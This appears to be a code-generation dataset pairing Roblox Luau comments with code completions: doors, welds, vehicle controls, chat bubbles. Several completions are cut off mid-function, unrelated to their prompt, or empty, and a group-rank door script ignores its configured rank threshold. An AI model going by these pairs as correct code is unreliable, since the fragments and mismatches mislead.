prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Variable for the drop zone
|
local dropZone = script.Parent
|
-- CONNECTIONS
|
local iconCreationCount = 0
IconController.iconAdded:Connect(function(icon)
topbarIcons[icon] = true
if IconController.gameTheme then
icon:setTheme(IconController.gameTheme)
end
icon.updated:Connect(function()
local toggleTransitionInfo = icon:get("toggleTransitionInfo")
IconController.updateTopbar(toggleTransitionInfo)
end)
-- When this icon is selected, deselect other icons if necessary
icon.selected:Connect(function()
local allIcons = IconController.getIcons()
for _, otherIcon in pairs(allIcons) do
if icon.deselectWhenOtherIconSelected and otherIcon ~= icon and otherIcon.deselectWhenOtherIconSelected and otherIcon:getToggleState() == "selected" then
otherIcon:deselect(icon)
end
end
end)
-- Order by creation if no order specified
iconCreationCount = iconCreationCount + 1
if not icon._orderWasSet then
icon:setOrder(iconCreationCount)
end
-- Apply controller view if enabled
if IconController.controllerModeEnabled then
IconController._enableControllerModeForIcon(icon, true)
end
IconController:_updateSelectionGroup()
end)
IconController.iconRemoved:Connect(function(icon)
topbarIcons[icon] = nil
icon:setEnabled(false)
icon:deselect()
icon.updated:Fire()
IconController:_updateSelectionGroup()
end)
|
--// Damage Settings
|
BaseDamage = 100; -- Torso Damage
LimbDamage = 100; -- Arms and Legs
ArmorDamage = 50; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 100000; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--This script makes it's child go into the character that touches it.
|
function InfectCharacter(BPart)
PoisonCheck = BPart.Parent:findFirstChild("KillScript")
if PoisonCheck ~= nil then return end
KillScript = script.KillScript:clone()
KillScript.Parent = BPart.Parent
end
script.Parent.Touched:connect(InfectCharacter)
|
--beam.TextureSpeed = math.random(0.05, 0.1)
|
local tweenInfoA = TweenInfo.new(
loopTimeA, -- Time
Enum.EasingStyle.Quad, -- EasingStyle
Enum.EasingDirection.Out, -- EasingDirection
-1, -- RepeatCount (when less than zero the tween will loop indefinitely)
true, -- Reverses (tween will reverse once reaching it's goal)
0 -- DelayTime
)
local tweenInfoB = TweenInfo.new(
loopTimeB, -- Time
Enum.EasingStyle.Quad, -- EasingStyle
Enum.EasingDirection.Out, -- EasingDirection
-1, -- RepeatCount (when less than zero the tween will loop indefinitely)
true, -- Reverses (tween will reverse once reaching it's goal)
0 -- DelayTime
)
local targetPosA = attachmentA.Position + Vector3.new(0.0, 1000.0, 0.0)
local targetPosB = attachmentB.Position + Vector3.new(0.0, 1000.0, 0.0)
local tweenA = TweenService:Create(attachmentA, tweenInfoA, {Position = targetPosA})
local tweenB = TweenService:Create(attachmentB, tweenInfoB, {Position = targetPosB})
tweenA:Play()
tweenB:Play()
|
--[[
local TextBoxPlus = require(script.TextBoxPlus)
local start = TextBoxPlus.new(Instance.new("TextBox"))
local goal = TextBoxPlus.new(Instance.new("TextBox"))
--local DefaultNumber = 123
--local function Reset() end
--local function FullReset() end
goal:SetDefaultConvert(function(Text)
local numbered = tonumber(Text or goal.Object.Text)
if numbered and numbered ~= start:Convert() then
return math.clamp(numbered, 1, 600)
end
end)
start:SetDefaultConvert(function(Text)
local numbered = tonumber(Text or start.Object.Text)
if numbered and numbered ~= goal:Convert() then
return math.clamp(numbered, 1, 600)
end
end)
start:Filter(function(number)
if not number then
task.defer(Reset)
return DefaultNumber
end
end)
-- :Finally() will be called only after the Filter function has.
[Functions]
:Then(fn) --> *Cycle*
:Finally(fn) --> Void
:Catch(fn(error)) -> *Cycle*
]]
|
local tbl = {
{1, 5},
{2, 2},
{3, 4},
{4, 1},
{5, 3}
}
local rm, pri = Remake.new(), priorty.new()
local s = os.clock()
for _, obj in tbl do
rm:Push(obj[1], obj[2])
|
-- Visualizes a ray. This will not run if FastCast.VisualizeCasts is false.
|
function DbgVisualizeSegment(castStartCFrame, castLength)
if FastCast.VisualizeCasts ~= true then return end
local adornment = Instance.new("ConeHandleAdornment")
adornment.Adornee = Workspace.Terrain
adornment.CFrame = castStartCFrame
adornment.Height = castLength
adornment.Color3 = Color3.new()
adornment.Radius = 0.25
adornment.Transparency = 0.5
adornment.Parent = GetFastCastVisualizationContainer()
return adornment
end
|
--[[
This door, the first on ROBLOX of its kind, was created by Mark Otaris (JulienDethurens).
It opens when it is touched by someone whose rank in a certain group is higher or equal than/to a certain rank number.
The group's id can be specified in the GroupId value in the configuration folder contained in the door.
The rank id (from 1 to 255) can be specified in the RankId value in the configuration folder.
]]
|
local config = script.Parent.Configuration
script.Parent.Touched:connect(function(part)
if part.Parent and Game:GetService('Players'):GetPlayerFromCharacter(part.Parent) then
local player = Game:GetService('Players'):GetPlayerFromCharacter(part.Parent)
if player:GetRankInGroup(config.GroupId.Value)then
script.Parent.Transparency = 1
script.Parent.CanCollide = false
wait(2)
script.Parent.Transparency = 0
script.Parent.CanCollide = true
end
end
end)
|
--Statements
|
tool.RequiresHandle = false
tool.CanBeDropped = false
|
-- Binds --
|
cDetector.MouseHoverEnter:connect(onHoverEnter)
cDetector.MouseHoverLeave:connect(onHoverLeave)
cDetector.MouseClick:connect(onClicked)
|
--//VIPERGUTZ
--//TASER ANIMATIONS
|
local Tool = script.Parent
local IdleAnimation
local IdleTrack = nil
script.Parent.Equipped:Connect(function(mouse)
local MyCharacter = Tool.Parent
local MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
local MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
IdleAnimation = Tool:WaitForChild("Idle")
if IdleAnimation then
IdleTrack = MyHumanoid:LoadAnimation(IdleAnimation)
end
if IdleTrack then
IdleTrack:Play()
end
end)
script.Parent.Unequipped:Connect(function(mouse)
if IdleTrack then
IdleTrack:Stop()
end
end)
|
-- Show icons of tools in toolbar
|
function setIcon(v)
local imageButton = UiFrame:FindFirstChild(v.Name)
if imageButton then
--imageButton.Image = ''
local tool = v.Value
if tool then
imageButton.Visible = true
--imageButton.Image = tool.TextureId
imageButton.Item.Text = tool.Name
else
imageButton.Visible = false
end
end
end
|
--- Sets if activation will free the mouse.
|
function Cmdr:SetActivationUnlocksMouse (enabled)
self.ActivationUnlocksMouse = enabled
end
|
-- For Robloxyton, by Celestus
|
function OnClick()
local p = script.Parent.Parent.Door
for i=1, 30 do -- How many times it moves
p.CFrame = p.CFrame + Vector3.new(0, 0, 0.1) -- How far it will move each time
wait(.01) -- speed of each movement
end
|
-- Symbol keys:
|
local KEY_ANCESTORS = Symbol("Ancestors")
local KEY_INST_TO_COMPONENTS = Symbol("InstancesToComponents")
local KEY_LOCK_CONSTRUCT = Symbol("LockConstruct")
local KEY_COMPONENTS = Symbol("Components")
local KEY_TROVE = Symbol("Trove")
local KEY_EXTENSIONS = Symbol("Extensions")
local KEY_ACTIVE_EXTENSIONS = Symbol("ActiveExtensions")
local KEY_STARTED = Symbol("Started")
local renderId = 0
local function NextRenderName(): string
renderId += 1
return "ComponentRender" .. tostring(renderId)
end
local function InvokeExtensionFn(component, fnName: string)
for _,extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do
local fn = extension[fnName]
if type(fn) == "function" then
fn(component)
end
end
end
local function ShouldConstruct(component): boolean
for _,extension in ipairs(component[KEY_ACTIVE_EXTENSIONS]) do
local fn = extension.ShouldConstruct
if type(fn) == "function" then
local shouldConstruct = fn(component)
if not shouldConstruct then
return false
end
end
end
return true
end
local function GetActiveExtensions(component, extensionList)
local activeExtensions = table.create(#extensionList)
local allActive = true
for _,extension in ipairs(extensionList) do
local fn = extension.ShouldExtend
local shouldExtend = type(fn) ~= "function" or not not fn(component)
if shouldExtend then
table.insert(activeExtensions, extension)
else
allActive = false
end
end
return if allActive then extensionList else activeExtensions
end
|
--Rocket.Touched:connect(OnTouched)
|
while script.Parent == Rocket do
game:GetService("RunService").Stepped:wait()
local hit,pos = raycast((Rocket.CFrame * CFrame.new(0,0,25)).p,((Rocket.CFrame * CFrame.new(0,0,-1)).p-Rocket.Position).unit,60)
if hit then
OnTouched(hit,pos)
end
Rocket.CFrame = Rocket.CFrame * CFrame.new(0,0,-50) * CFrame.Angles(0, 0, math.rad(18))
end
|
--Automatic: DCT
|
Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one.
Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one.
Tune.FinalDrive = 3.545 -- (Final * Primary) -- Gearing determines top speed and wheel torque
|
--[=[
Completes the subscription, preventing anything else from being
emitted.
]=]
|
function Subscription:Complete()
if self._state ~= stateTypes.PENDING then
return
end
self._state = stateTypes.COMPLETE
if self._completeCallback then
self._completeCallback()
end
self:_doCleanup()
end
|
--// Math
|
local L_90_ = function(L_120_arg1, L_121_arg2, L_122_arg3)
if L_120_arg1 > L_122_arg3 then
return L_122_arg3
elseif L_120_arg1 < L_121_arg2 then
return L_121_arg2
end
return L_120_arg1
end
local L_91_ = L_79_.new(Vector3.new())
L_91_.s = 30
L_91_.d = 0.55
local L_92_ = CFrame.Angles(0, 0, 0)
|
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc.
|
function WeldPair(x, y)
local weld = Instance.new("Motor6D",x)
weld.Part0 = x
weld.Part1 = y
weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end
function WeldAll(model, main) -- model can be anything
if model:IsA("BasePart") then WeldPair(main, model) end
for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end
end
function UnanchorAll(model) -- model can be anything
if (model:IsA("BasePart")) then model.Anchored = false end
for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end
WeldAll(script.Parent, script.Parent.Handle)
UnanchorAll(script.Parent)
script:Destroy() -- Done, clean script up.
|
-- Variables for objects and vehicle settings
|
local SettingsFolder = script.Parent.Parent:WaitForChild("Configuration")
local ToolStatus = script.Parent.Parent:WaitForChild("ToolStatus")
local UserInputService = game:GetService("UserInputService")
local VRService = game:GetService("VRService")
local SeaterObject = ToolStatus:WaitForChild("SeaterScript")
local SegwayObject = ToolStatus:WaitForChild("Segway")
local WeldObject = ToolStatus:WaitForChild("PlayersWeld")
local MaxSpeed = SettingsFolder:WaitForChild("MaxSpeed")
local TurnSpeed = SettingsFolder:WaitForChild("TurnSpeed")
local UseGyroSteering = SettingsFolder:WaitForChild("UseGyroSteering")
local VRUseHeadsetControls = SettingsFolder:WaitForChild("VRUseHeadsetControls")
local Thruster = ToolStatus:WaitForChild("Thruster")
local TiltMotor = ToolStatus:WaitForChild("TiltMotor")
local PlayerGui = nil
local Lights = nil
local Notifiers = nil
local RayTest = nil
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
|
function methods:InternalDestroy()
for i, speaker in pairs(self.Speakers) do
speaker:LeaveChannel(self.Name)
end
self.eDestroyed:Fire()
self.eDestroyed:Destroy()
self.eMessagePosted:Destroy()
self.eSpeakerJoined:Destroy()
self.eSpeakerLeft:Destroy()
self.eSpeakerMuted:Destroy()
self.eSpeakerUnmuted:Destroy()
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalPostMessage(fromSpeaker, message, extraData)
if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end
if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then
local t = self.Mutes[fromSpeaker.Name:lower()]
if (t > 0 and os.time() > t) then
self:UnmuteSpeaker(fromSpeaker.Name)
else
self:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name)
return false
end
end
local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData)
-- allow server to process the unfiltered message string
messageObj.Message = message
local processedMessage
pcall(function()
processedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj)
end)
messageObj.Message = nil
if processedMessage then
-- developer server code's choice to mute the message
if processedMessage.ShouldDeliver == false then
return false
end
messageObj = processedMessage
end
message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker)
local sentToList = {}
for i, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
table.insert(sentToList, speaker.Name)
if speaker.Name == fromSpeaker.Name then
-- Send unfiltered message to speaker who sent the message.
local cMessageObj = ShallowCopy(messageObj)
if userShouldMuteUnfilteredMessage then
cMessageObj.Message = string.rep("_", messageObj.MessageLength)
else
cMessageObj.Message = message
end
cMessageObj.IsFiltered = true
-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.
speaker:InternalSendMessage(cMessageObj, self.Name)
else
speaker:InternalSendMessage(messageObj, self.Name)
end
end
end
local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)
if not success and err then
print("Error posting message: " ..err)
end
local textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat
local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(
messageObj.FromSpeaker,
message,
textFilterContext
)
if (filterSuccess) then
messageObj.FilterResult = filteredMessage
messageObj.IsFilterResult = isFilterResult
else
return false
end
messageObj.IsFiltered = true
self:InternalAddMessageToHistoryLog(messageObj)
for _, speakerName in pairs(sentToList) do
local speaker = self.Speakers[speakerName]
if (speaker) then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
-- One more pass is needed to ensure that no speakers do not recieve the message.
-- Otherwise a user could join while the message is being filtered who had not originally been sent the message.
local speakersMissingMessage = {}
for _, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
local wasSentMessage = false
for _, sentSpeakerName in pairs(sentToList) do
if speaker.Name == sentSpeakerName then
wasSentMessage = true
break
end
end
if not wasSentMessage then
table.insert(speakersMissingMessage, speaker.Name)
end
end
end
for _, speakerName in pairs(speakersMissingMessage) do
local speaker = self.Speakers[speakerName]
if speaker then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
return messageObj
end
function methods:InternalAddSpeaker(speaker)
if (self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is already in the channel!")
return
end
self.Speakers[speaker.Name] = speaker
local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end)
if not success and err then
print("Error removing channel: " ..err)
end
end
function methods:InternalRemoveSpeaker(speaker)
if (not self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is not in the channel!")
return
end
self.Speakers[speaker.Name] = nil
local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end)
if not success and err then
print("Error removing speaker: " ..err)
end
end
function methods:InternalRemoveExcessMessagesFromLog()
local remove = table.remove
while (#self.ChatHistory > self.MaxHistory) do
remove(self.ChatHistory, 1)
end
end
function methods:InternalAddMessageToHistoryLog(messageObj)
table.insert(self.ChatHistory, messageObj)
self:InternalRemoveExcessMessagesFromLog()
end
function methods:GetMessageType(message, fromSpeaker)
if fromSpeaker == nil then
return ChatConstants.MessageTypeSystem
end
return ChatConstants.MessageTypeDefault
end
function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData)
local messageType = self:GetMessageType(message, fromSpeaker)
local speakerUserId = -1
local speakerDisplayName = nil
local speaker = nil
if fromSpeaker then
speaker = self.ChatService:GetSpeaker(fromSpeaker)
if speaker then
local player = speaker:GetPlayer()
if player then
speakerUserId = player.UserId
if ChatSettings.PlayerDisplayNamesEnabled then
speakerDisplayName = speaker:GetNameForDisplay()
end
else
speakerUserId = 0
end
end
end
local messageObj =
{
ID = self.ChatService:InternalGetUniqueMessageId(),
FromSpeaker = fromSpeaker,
SpeakerDisplayName = speakerDisplayName,
SpeakerUserId = speakerUserId,
OriginalChannel = self.Name,
MessageLength = string.len(message),
MessageType = messageType,
IsFiltered = isFiltered,
Message = isFiltered and message or nil,
--// These two get set by the new API. The comments are just here
--// to remind readers that they will exist so it's not super
--// confusing if they find them in the code but cannot find them
--// here.
--FilterResult = nil,
--IsFilterResult = false,
Time = os.time(),
ExtraData = {},
}
if speaker then
for k, v in pairs(speaker.ExtraData) do
messageObj.ExtraData[k] = v
end
end
if (extraData) then
for k, v in pairs(extraData) do
messageObj.ExtraData[k] = v
end
end
return messageObj
end
function methods:SetChannelNameColor(color)
self.ChannelNameColor = color
for i, speaker in pairs(self.Speakers) do
speaker:UpdateChannelNameColor(self.Name, color)
end
end
function methods:GetWelcomeMessageForSpeaker(speaker)
if self.GetWelcomeMessageFunction then
local welcomeMessage = self.GetWelcomeMessageFunction(speaker)
if welcomeMessage then
return welcomeMessage
end
end
return self.WelcomeMessage
end
function methods:RegisterGetWelcomeMessageFunction(func)
if type(func) ~= "function" then
error("RegisterGetWelcomeMessageFunction must be called with a function.")
end
self.GetWelcomeMessageFunction = func
end
function methods:UnRegisterGetWelcomeMessageFunction()
self.GetWelcomeMessageFunction = nil
end
|
--< Variables
|
local code = script.Parent.Code
local redeem = script.Parent.Redeem
local event = game.ReplicatedStorage.Code
|
--[[function findAllCopies(obj)
local c = obj:GetChildren();
for i, v in pairs(c) do
if (v.Name == script.Name and v.className == "Script" and v ~= script) then
v.Parent = nil;
elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
findAllCopies(v);
end
end
end
findAllCopies(game);
script.Parent = nil;]]
| |
-- Decompiled with the Synapse X Luau decompiler.
|
local l__MarketplaceService__1 = game:GetService("MarketplaceService");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__ReplicatedStorage__3 = game.ReplicatedStorage;
script.Parent.MouseButton1Click:Connect(function()
l__MarketplaceService__1:PromptGamePassPurchase(l__LocalPlayer__2, l__ReplicatedStorage__3.GamepassIDs.ExtraStorage.Value);
end);
|
-- CONSTANTS
|
local PI2 = math.pi*2
local PHI = (1 + math.sqrt(5)) / 2
local RIGHT = Vector3.new(1, 0, 0)
local UP = Vector3.new(0, 1, 0)
local BACK = Vector3.new(0, 0, 1)
local LEFT = Vector3.new(-1, 0, 0)
local DOWN = Vector3.new(0, -1, 0)
local FORWARD = Vector3.new(0, 0, -1)
local CORNERS = {
Vector3.new(1, 1, 1);
Vector3.new(-1, 1, 1);
Vector3.new(-1, 1, -1);
Vector3.new(1, 1, -1);
Vector3.new(1, -1, 1);
Vector3.new(-1, -1, 1);
Vector3.new(-1, -1, -1);
Vector3.new(1, -1, -1);
}
|
-- if math.floor(v) < 75 then
-- carSeat.Parent.Body.MP.Sound.RollOffMode = "LinearSquare"
-- else
-- carSeat.Parent.Body.MP.Sound.RollOffMode = "Inverse"
-- end
|
end
function wiperF(a,w)
carSeat.Parent.Misc.WPR.SS.Motor.DesiredAngle = a
carSeat.Parent.Misc.WPR2.SS.Motor.DesiredAngle = a
carSeat.Parent.Body.we.p.Enabled = w
carSeat.Parent.Body.we1.p.Enabled = w
end
F.wspd = function(a)
local c = math.max(carSeat.WS.Value+a,1)
carSeat.WS.Value = c
local b = c/100
carSeat.Parent.Misc.WPR.SS.Motor.MaxVelocity = b
carSeat.Parent.Misc.WPR2.SS.Motor.MaxVelocity = b
end
local s = false
F.sunroof = function()
s = not s
carSeat.Parent.Misc.SR.SS.Motor.DesiredAngle = s and .1 or 0
end
local xz = 2
F.src = function()
if xz < 2 then
xz = xz + 1
else xz = 0
end
local y = 2.3 * xz
local z = (xz == 1) and 2 or 4
local bm = carSeat.Parent.Body.HC.BM
tween(bm,"Offset",Vector3.new(y/2,0,0),z)
tween(bm,"Scale",Vector3.new(y,1,1),z)
end
F.wws = function(iv,wa)
carSeat.FW.Value = not carSeat.FW.Value
carSeat.Parent.DriveSeat.wipe.Playing = carSeat.FW.Value
if carSeat.FW.Value then
local b = math.pi/2
if wa then
wiperF(0,true) wait(1)
end
repeat
local itv = math.max((carSeat.WS.Value^-1),20^-1)
wiperF(-b,false)
repeat wait()
until carSeat.Parent.Misc.WPR.SS.Motor.CurrentAngle <= (-b)+0.1
wiperF(0,false)
repeat wait() until carSeat.Parent.Misc.WPR.SS.Motor.CurrentAngle == 0
wait(itv*2)
until carSeat.FW.Value == false
carSeat.Parent.DriveSeat.wipe.Playing = false
else
wiperF(0,false)
end
end
F.volumeup = function(VolUp)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
scg.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..carSeat.Parent.Body.MP.Sound.Volume
end
local m = 0
F.IMode = function()
end
F.updateSong = function(Song)
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song
wait()
carSeat.Parent.Body.MP.Sound:Play()
end
F.lg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.mg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.hg = function(n)
carSeat.Parent.Body.MP.Sound.ES.HighGain = n
end
F.eq = function(n)
carSeat.Parent.Body.MP.Sound.ES.Enabled = n
end
F.updateVolume = function(Vol)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol
scg.Radio.Volume.Text = carSeat.Parent.Body.MP.Sound.Volume
end
F.cg = function(g)
|
-- init chat bubble tables
|
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if getMessageLength(msg) > MaxChatMessageLengthExclusive then
local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1
return string.sub(msg, 1, byteOffset)
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1, 0, 1, 0)
billboardFrame.Position = UDim2.new(0, 0, -0.7, 0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4, 0, 3, 0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message, shouldAutoLocalize)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
if UserFixBubbleChatText then
bubbleText.Size = UDim2.fromScale(1, 1)
else
bubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0)
bubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0)
end
bubbleText.Font = CHAT_BUBBLE_FONT
bubbleText.ClipsDescendants = true
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
bubbleText.AutoLocalize = shouldAutoLocalize
if UserFixBubbleChatText then
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING)
padding.Parent = bubbleText
end
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT)
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
